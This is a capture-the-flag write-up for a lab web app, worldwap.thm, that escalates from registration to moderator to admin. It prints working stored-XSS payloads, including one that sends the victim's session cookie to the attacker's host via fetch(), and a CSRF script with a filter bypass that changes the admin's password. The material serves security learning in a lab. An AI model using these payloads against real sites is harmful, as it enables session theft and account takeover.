Post

Whats Your Name?

Utilise your client-side exploitation skills to take control of a web app.

Whats Your Name?

image-1900

Questions

image-1901


Setup

add worldwap.thm to /etc/hosts

image-1924


Enumeration and Scanning

using nmap

image-1925

Only ssh and http ports were open.

So, let’s open the website.

image-1904

View Source

image-1905

image-1913

image-1914

If role = moderator -> admin.php if not -> dashboard.php


Get Moderator Role

Let’s visit the register page

image-1906

Let’s try injecting XSS with a simple payload

1
<script src="http://MACHINE_IP/test"></script> 

to check if we can use the payload in each input field.

image-1926 image-1918

Just change the username to something shorter image-1928

Now, it succeeds.

Create a php server to check which field is working

php -S 0.0.0.0:80

image-1929

It seems like every input field except password can accept an XSS payload. Next, let’s steal the moderator’s session cookie to access dashboard.php

Payload :

1
<script>fetch("http://MACHINE_IP?cookie="+ btoa(document.cookie),{method: "GET"});</script>

image-1931

After registering, look at the log, and we will see the session cookie.

image-1932

UEhQU0VTU0lEPTkwcWlrdmo4Z2ZjaWxqNXNicmZuNmk4Njhx

Which is encoded with base64. Let’s decode this.

image-1933

Now, we got the PHPSESSID of the moderator.

image-1934

Change the value of PHPSESSID to the one we got.

image-1935

After reloading worldwap.thm, it redirects to dashboard.php. There is information about a subdomain login.worldwap.thm.

So, let’s add this domain name to our /etc/hosts first

image-1936

Then visit the website.

image-1911

This is the hint that we have to visit http://login.worldwap.thm/login.php

image-1937

With our moderator session, we now access the moderator’s profile.php and find our first flag.


Get Admin Role

Investigate pages we can access.

Change password:

image-1938

Chat with Admin:

image-1940

This is interesting. Let’s try injecting simple XSS to see if it works or not.

1
<script>alert(1)</script>

image-1942

XSS worked!

So, let’s inspect the page further and we don’t see any CSRF protection like CSRF tokens.

Let’s craft a script to inject XSS to send a request to change the password with our new_password = hacked

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<script>
    window.onload = function() {
        var form = document.createElement('form');
        form.method = 'POST';
        form.action = 'http://login.worldwap.thm/change_password.php';
        var input = document.createElement('input');
        input.type = 'hidden';
        input.name = 'new_password';
        input.value = 'hacked';
        form.appendChild(input);
        document.body.appendChild(form);
        form.submit();
    };
</script>

It seems like it’s not working. Click view source to see what happens.

image-1943

we see that the HTTP URL we submit gets automatically formatted to <a href...>.

So, let’s modify our payload a little bit to bypass this detection.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<script>
    window.onload = function() {
        var form = document.createElement('form');
        form.method = 'POST';
        form.action = 'ht'+'tp://'+'login.worldwap.thm/change_password.php';
        var input = document.createElement('input');
        input.type = 'hidden';
        input.name = 'new_password';
        input.value = 'hacked';
        form.appendChild(input);
        document.body.appendChild(form);
        form.submit();
    };
</script>

If it works, we will be redirected to the change password page

image-1945

It worked! Now, let’s try logging in with our new password

image-1946

image-1947

Finally, we get access to the admin account and get the last flag!

DONE!!!


This post is licensed under CC BY 4.0 by the author.